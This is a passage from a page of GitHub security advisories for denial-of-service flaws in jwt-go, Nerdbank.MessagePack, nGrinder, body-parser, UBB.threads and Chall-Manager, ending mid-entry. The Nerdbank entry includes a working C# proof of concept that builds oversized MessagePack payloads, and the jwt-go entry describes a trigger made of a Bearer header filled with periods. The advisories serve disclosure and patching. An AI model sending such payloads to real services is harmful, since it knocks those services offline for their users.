GHSA-MH63-6H87-95CP

Vulnerability from github – Published: 2025-03-21 22:04 – Updated: 2025-04-10 13:02

Summary

jwt-go allows excessive memory allocation during header parsing

Details

Summary

Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.

As a result, in the face of a malicious request whose Authorization header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)

Details

See parse.ParseUnverified

Impact

Excessive memory allocation

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-rc.1"
            },
            {
              "fixed": "5.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "last_affected": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T22:04:00Z",
    "nvd_published_at": "2025-03-21T22:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFunction [`parse.ParseUnverified`](https://github.com/golang-jwt/jwt/blob/c035977d9e11c351f4c05dfeae193923cbab49ee/parser.go#L138-L139) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) its argument (which is untrusted data) on periods.\n\nAs a result, in the face of a malicious request whose _Authorization_ header consists of `Bearer ` followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function\u0027s argument), with a constant factor of about 16. Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\n### Details\n\nSee [`parse.ParseUnverified`](https://github.com/golang-jwt/jwt/blob/c035977d9e11c351f4c05dfeae193923cbab49ee/parser.go#L138-L139) \n\n### Impact\n\nExcessive memory allocation",
  "id": "GHSA-mh63-6h87-95cp",
  "modified": "2025-04-10T13:02:34Z",
  "published": "2025-03-21T22:04:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-mh63-6h87-95cp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/commit/0951d184286dece21f73c85673fd308786ffe9c3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/commit/bf316c48137a1212f8d0af9288cc9ce8e59f1afb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/golang-jwt/jwt"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250404-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jwt-go allows excessive memory allocation during header parsing"
}

GHSA-QJVR-435C-5FJH

Vulnerability from github – Published: 2026-05-29 19:55 – Updated: 2026-05-29 19:55

Summary

Nerdbank.MessagePack has a memory amplification DoS in collection deserialization

Details

Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.

The same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, JsonNode, MessagePackValue, and the object/dynamic primitive converters.

Because MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates count elements or constructs a collection with capacity count can turn a payload that is merely large into a much larger managed heap allocation. The reader's residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.

Vulnerability Pattern

Affected converters followed one or both of these patterns:

int count = reader.ReadArrayHeader();
TElement[] array = new TElement[count];

int count = reader.ReadMapHeader();
Dictionary<TKey, TValue> map = new(count);

or, for streaming and span-backed construction:

TElement[] elements = ArrayPool<TElement>.Shared.Rent(count);
TCollection collection = getCollection(state, count);

In all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.

Affected Scope

The vulnerable logic was present in multiple converter families:

Converter surface	Risk
`ArrayConverter<TElement>`	Allocated `new TElement[count]` for typed arrays and rented large buffers in async paths.
`ArraysOfPrimitivesConverters`	Allocated or rented `TElement[count]` for primitive array and span-constructor paths.
`MutableEnumerableConverter<TEnumerable, TElement>`	Passed the untrusted count directly to collection construction.
`SpanEnumerableConverter<TEnumerable, TElement>`	Rented buffers sized to the declared element count.
`MutableDictionaryConverter<TDictionary, TKey, TValue>`	Passed the untrusted map count directly to dictionary construction.
`ImmutableDictionaryConverter<TDictionary, TKey, TValue>`	Rented `KeyValuePair<TKey, TValue>[count]` before reading entries.
`PrimitivesAsObjectConverter` and `PrimitivesAsDynamicConverter`	Allocated object arrays and dictionaries from attacker-controlled counts.
`JsonNodeConverter`	Allocated `JsonNode?[]` from the declared array length.
`MessagePackValueConverter`	Allocated arrays and dictionaries from declared array/map counts.

This means the issue affects normal typed deserialization as well as object/dynamic APIs. Any endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.

Attack Mechanics

MessagePack encodes array and map lengths up front. For array32 and map32, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.

Examples:

Attack shape	Input cost	Managed allocation pressure
`array32` of `nil` values into `object?[]`	1 byte per element	8 bytes per reference on 64-bit runtimes, plus array overhead.
`map32` of small keys and `nil` values into `Dictionary<object, object?>`	2 bytes per entry	Buckets, entries, key/value references, and dictionary overhead.
`array32` into typed reference arrays	1 byte per `nil` element when element type allows null	8 bytes per reference, plus array overhead.
`array32` into immutable dictionary staging buffers	2+ bytes per entry	`KeyValuePair<TKey, TValue>[]` staging allocation before construction.
`map32` into typed dictionaries	2+ bytes per entry for small keys/values	Dictionary capacity is allocated from the declared map count.

At larger counts, the attack can trigger OutOfMemoryException, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.

Impact

An attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:

Crash the target process via OutOfMemoryException from a single large payload.
Exhaust available memory through repeated moderate payloads.
Induce severe GC pressure, increasing latency and reducing throughput.
Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.

Concrete affected configurations include:

ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, JsonNode, MessagePackValue, object, or dynamic members.
Code calling typed Deserialize<T>() where T contains collection-shaped members.
Code calling DeserializePrimitives() or DeserializeDynamicPrimitives() on untrusted input.
Applications registering WithObjectConverter() or WithDynamicObjectConverter() for framework integration or ad hoc object graphs.

Severity Rationale

Attack complexity is low. Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.

Privileges required depend on deployment. Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.

User interaction is not required. The attack is triggered during server-side or service-side deserialization.

Availability impact is low. The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.

Proof of Concept

The following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.

using System.Buffers;
using System.Buffers.Binary;
using Nerdbank.MessagePack;

Console.WriteLine("=== Memory Amplification DoS - Nerdbank.MessagePack ===");
Console.WriteLine();

var serializer = new MessagePackSerializer();

// 5-byte array32 header + 1 byte per nil element.
// Deserializing as object?[] allocates one managed reference per element.
const int ObjectArrayCount = 1_000_000;
byte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);

Measure("object?[] array32 nil", objectArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(objectArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

// 5-byte array32 header + 1 byte per integer element.
// A typed int[] target allocates four bytes per element plus array overhead.
const int IntArrayCount = 1_000_000;
byte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);

Measure("int[] array32 fixint", intArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(intArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.Deserialize<int[]>(ref reader);
});

// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.
// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.
const int MapCount = 100_000;
byte[] mapPayload = BuildMap32Payload(MapCount);

Measure("object dictionary map32", mapPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(mapPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

static void Measure(string name, byte[] payload, Func<object?> deserialize)
{
    GC.Collect();
    long before = GC.GetTotalMemory(true);

    try
    {
        object? result = deserialize();
        long after = GC.GetTotalMemory(false);
        long delta = after - before;
        Console.WriteLine($"[{name}] payload: {payload.Length / 1024.0:F1} KB");
        Console.WriteLine($"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB");
        Console.WriteLine($"[{name}] amplification: {(double)delta / payload.Length:F1}x");
        GC.KeepAlive(result);
    }
    catch (OutOfMemoryException)
    {
        Console.WriteLine($"[{name}] OutOfMemoryException");
    }
    catch (MessagePackSerializationException ex)
    {
        Console.WriteLine($"[{name}] guarded: {ex.Message}");
    }

    Console.WriteLine();
}

static byte[] BuildArray32Payload(int count, byte element)
{
    byte[] payload = new byte[5 + count];
    payload[0] = 0xDD;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);
    payload.AsSpan(5).Fill(element);
    return payload;
}

static byte[] BuildMap32Payload(int count)
{
    byte[] payload = new byte[5 + count * 2];
    payload[0] = 0xDF;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);

    for (int i = 0; i < count; i++)
    {
        payload[5 + i * 2] = (byte)(i % 128);
        payload[5 + i * 2 + 1] = 0xC0;
    }

    return payload;
}

Confirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.

Remediation

The deserializer honors input data's prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.

Prior Art

CVE-2026-21452 / GHSA-cw39-r4h6-8j3x: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused ExtensionValue.getData() to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in msgpack-java 0.9.11 by avoiding unbounded allocation.

CVE-2024-48924 / GHSA-4qm4-8hg2-g2xm: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Nerdbank.MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:55:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.\n\nThe same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, `JsonNode`, `MessagePackValue`, and the object/dynamic primitive converters.\n\nBecause MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates `count` elements or constructs a collection with capacity `count` can turn a payload that is merely large into a much larger managed heap allocation. The reader\u0027s residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.\n\n## Vulnerability Pattern\n\nAffected converters followed one or both of these patterns:\n\n```csharp\nint count = reader.ReadArrayHeader();\nTElement[] array = new TElement[count];\n\nint count = reader.ReadMapHeader();\nDictionary\u003cTKey, TValue\u003e map = new(count);\n```\n\nor, for streaming and span-backed construction:\n\n```csharp\nTElement[] elements = ArrayPool\u003cTElement\u003e.Shared.Rent(count);\nTCollection collection = getCollection(state, count);\n```\n\nIn all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.\n\n## Affected Scope\n\nThe vulnerable logic was present in multiple converter families:\n\n| Converter surface | Risk |\n|-------------------|------|\n| `ArrayConverter\u003cTElement\u003e` | Allocated `new TElement[count]` for typed arrays and rented large buffers in async paths. |\n| `ArraysOfPrimitivesConverters` | Allocated or rented `TElement[count]` for primitive array and span-constructor paths. |\n| `MutableEnumerableConverter\u003cTEnumerable, TElement\u003e` | Passed the untrusted count directly to collection construction. |\n| `SpanEnumerableConverter\u003cTEnumerable, TElement\u003e` | Rented buffers sized to the declared element count. |\n| `MutableDictionaryConverter\u003cTDictionary, TKey, TValue\u003e` | Passed the untrusted map count directly to dictionary construction. |\n| `ImmutableDictionaryConverter\u003cTDictionary, TKey, TValue\u003e` | Rented `KeyValuePair\u003cTKey, TValue\u003e[count]` before reading entries. |\n| `PrimitivesAsObjectConverter` and `PrimitivesAsDynamicConverter` | Allocated object arrays and dictionaries from attacker-controlled counts. |\n| `JsonNodeConverter` | Allocated `JsonNode?[]` from the declared array length. |\n| `MessagePackValueConverter` | Allocated arrays and dictionaries from declared array/map counts. |\n\nThis means the issue affects normal typed deserialization as well as object/dynamic APIs.\nAny endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.\n\n## Attack Mechanics\n\nMessagePack encodes array and map lengths up front. For `array32` and `map32`, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.\n\nExamples:\n\n| Attack shape | Input cost | Managed allocation pressure |\n|--------------|------------|-----------------------------|\n| `array32` of `nil` values into `object?[]` | 1 byte per element | 8 bytes per reference on 64-bit runtimes, plus array overhead. |\n| `map32` of small keys and `nil` values into `Dictionary\u003cobject, object?\u003e` | 2 bytes per entry | Buckets, entries, key/value references, and dictionary overhead. |\n| `array32` into typed reference arrays | 1 byte per `nil` element when element type allows null | 8 bytes per reference, plus array overhead. |\n| `array32` into immutable dictionary staging buffers | 2+ bytes per entry | `KeyValuePair\u003cTKey, TValue\u003e[]` staging allocation before construction. |\n| `map32` into typed dictionaries | 2+ bytes per entry for small keys/values | Dictionary capacity is allocated from the declared map count. |\n\nAt larger counts, the attack can trigger `OutOfMemoryException`, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.\n\n## Impact\n\nAn attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:\n\n- Crash the target process via `OutOfMemoryException` from a single large payload.\n- Exhaust available memory through repeated moderate payloads.\n- Induce severe GC pressure, increasing latency and reducing throughput.\n- Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.\n\nConcrete affected configurations include:\n\n- ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, `JsonNode`, `MessagePackValue`, `object`, or `dynamic` members.\n- Code calling typed `Deserialize\u003cT\u003e()` where `T` contains collection-shaped members.\n- Code calling `DeserializePrimitives()` or `DeserializeDynamicPrimitives()` on untrusted input.\n- Applications registering `WithObjectConverter()` or `WithDynamicObjectConverter()` for framework integration or ad hoc object graphs.\n\n## Severity Rationale\n\n**Attack complexity is low.** Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.\n\n**Privileges required depend on deployment.** Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.\n\n**User interaction is not required.** The attack is triggered during server-side or service-side deserialization.\n\n**Availability impact is low.** The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.\n\n## Proof of Concept\n\nThe following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.\n\n```csharp\nusing System.Buffers;\nusing System.Buffers.Binary;\nusing Nerdbank.MessagePack;\n\nConsole.WriteLine(\"=== Memory Amplification DoS - Nerdbank.MessagePack ===\");\nConsole.WriteLine();\n\nvar serializer = new MessagePackSerializer();\n\n// 5-byte array32 header + 1 byte per nil element.\n// Deserializing as object?[] allocates one managed reference per element.\nconst int ObjectArrayCount = 1_000_000;\nbyte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);\n\nMeasure(\"object?[] array32 nil\", objectArrayPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(objectArrayPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.DeserializePrimitives(ref reader);\n});\n\n// 5-byte array32 header + 1 byte per integer element.\n// A typed int[] target allocates four bytes per element plus array overhead.\nconst int IntArrayCount = 1_000_000;\nbyte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);\n\nMeasure(\"int[] array32 fixint\", intArrayPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(intArrayPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.Deserialize\u003cint[]\u003e(ref reader);\n});\n\n// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.\n// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.\nconst int MapCount = 100_000;\nbyte[] mapPayload = BuildMap32Payload(MapCount);\n\nMeasure(\"object dictionary map32\", mapPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(mapPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.DeserializePrimitives(ref reader);\n});\n\nstatic void Measure(string name, byte[] payload, Func\u003cobject?\u003e deserialize)\n{\n    GC.Collect();\n    long before = GC.GetTotalMemory(true);\n\n    try\n    {\n        object? result = deserialize();\n        long after = GC.GetTotalMemory(false);\n        long delta = after - before;\n        Console.WriteLine($\"[{name}] payload: {payload.Length / 1024.0:F1} KB\");\n        Console.WriteLine($\"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB\");\n        Console.WriteLine($\"[{name}] amplification: {(double)delta / payload.Length:F1}x\");\n        GC.KeepAlive(result);\n    }\n    catch (OutOfMemoryException)\n    {\n        Console.WriteLine($\"[{name}] OutOfMemoryException\");\n    }\n    catch (MessagePackSerializationException ex)\n    {\n        Console.WriteLine($\"[{name}] guarded: {ex.Message}\");\n    }\n\n    Console.WriteLine();\n}\n\nstatic byte[] BuildArray32Payload(int count, byte element)\n{\n    byte[] payload = new byte[5 + count];\n    payload[0] = 0xDD;\n    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);\n    payload.AsSpan(5).Fill(element);\n    return payload;\n}\n\nstatic byte[] BuildMap32Payload(int count)\n{\n    byte[] payload = new byte[5 + count * 2];\n    payload[0] = 0xDF;\n    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);\n\n    for (int i = 0; i \u003c count; i++)\n    {\n        payload[5 + i * 2] = (byte)(i % 128);\n        payload[5 + i * 2 + 1] = 0xC0;\n    }\n\n    return payload;\n}\n```\n\nConfirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.\n\n## Remediation\n\nThe deserializer honors input data\u0027s prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.\n\n## Prior Art\n\n**CVE-2026-21452 / [GHSA-cw39-r4h6-8j3x](https://github.com/advisories/GHSA-cw39-r4h6-8j3x)**: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused `ExtensionValue.getData()` to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in `msgpack-java` 0.9.11 by avoiding unbounded allocation.\n\n**CVE-2024-48924 / [GHSA-4qm4-8hg2-g2xm](https://github.com/advisories/GHSA-4qm4-8hg2-g2xm)**: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.",
  "id": "GHSA-qjvr-435c-5fjh",
  "modified": "2026-05-29T19:55:09Z",
  "published": "2026-05-29T19:55:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/security/advisories/GHSA-qjvr-435c-5fjh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/commit/6f19387a3d1322aea880ce3f8db2cfd0de195e12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nerdbank.MessagePack has a memory amplification DoS in collection deserialization"
}

GHSA-QQ6M-6P3W-4J5W

Vulnerability from github – Published: 2024-03-07 06:30 – Updated: 2024-11-08 18:30

Details

nGrinder before 3.5.9 allows to set delay without limitation, which could be the cause of Denial of Service by remote attacker.

Severity

2.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-28214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-07T05:15:54Z",
    "severity": "LOW"
  },
  "details": "nGrinder before 3.5.9 allows to set delay without limitation, which could be the cause of Denial of Service by remote attacker.",
  "id": "GHSA-qq6m-6p3w-4j5w",
  "modified": "2024-11-08T18:30:42Z",
  "published": "2024-03-07T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28214"
    },
    {
      "type": "WEB",
      "url": "https://cve.naver.com/detail/cve-2024-28214.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QWCR-R2FM-QRC7

Vulnerability from github – Published: 2024-09-10 15:52 – Updated: 2024-09-10 19:01

Summary

body-parser vulnerable to denial of service when url encoding is enabled

Details

Impact

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "body-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-10T15:52:39Z",
    "nvd_published_at": "2024-09-10T16:15:21Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nbody-parser \u003c1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.\n\n### Patches\n\nthis issue is patched in 1.20.3\n\n### References\n",
  "id": "GHSA-qwcr-r2fm-qrc7",
  "modified": "2024-09-10T19:01:08Z",
  "published": "2024-09-10T15:52:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/security/advisories/GHSA-qwcr-r2fm-qrc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/commit/b2695c4450f06ba3b0ccf48d872a229bb41c9bce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/body-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "body-parser vulnerable to denial of service when url encoding is enabled"
}

GHSA-R4CC-XCX2-VP28

Vulnerability from github – Published: 2026-06-18 15:32 – Updated: 2026-06-18 15:32

Details

UBB.threads is vulnerable to Denial of Service (DoS). By sending multiple concurrent requests to view any user profile on instances with many registered users, an authenticated attacker can easily exhaust database resources and completely deny access to the application for other users. Because vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 7.7.5 but may also affect other versions.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-54224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T14:17:31Z",
    "severity": "HIGH"
  },
  "details": "UBB.threads is vulnerable to Denial of Service (DoS). By sending multiple concurrent requests to view any user profile on instances with many registered users, an authenticated attacker can easily exhaust database resources and completely deny access to the application for other users.\nBecause vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 7.7.5 but may also affect other versions.",
  "id": "GHSA-r4cc-xcx2-vp28",
  "modified": "2026-06-18T15:32:02Z",
  "published": "2026-06-18T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54224"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/06/CVE-2026-54219"
    },
    {
      "type": "WEB",
      "url": "https://www.ubbcentral.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R7FM-3PQM-WW5W

Vulnerability from github – Published: 2025-07-10 17:50 – Updated: 2025-07-10 23:21

Summary

Chall-Manager's scenario decoding process does not check for zip bombs

Details

Impact

When decoding a scenario (i.e. a zip archive), the size of the decoded content is not checked, potentially leading to zip bombs decompression. Exploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system.

Patches

Patch has been implemented by commit 14042aa and shipped in v0.1.4.

Workarounds

No workaround exist.

References

N/A.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
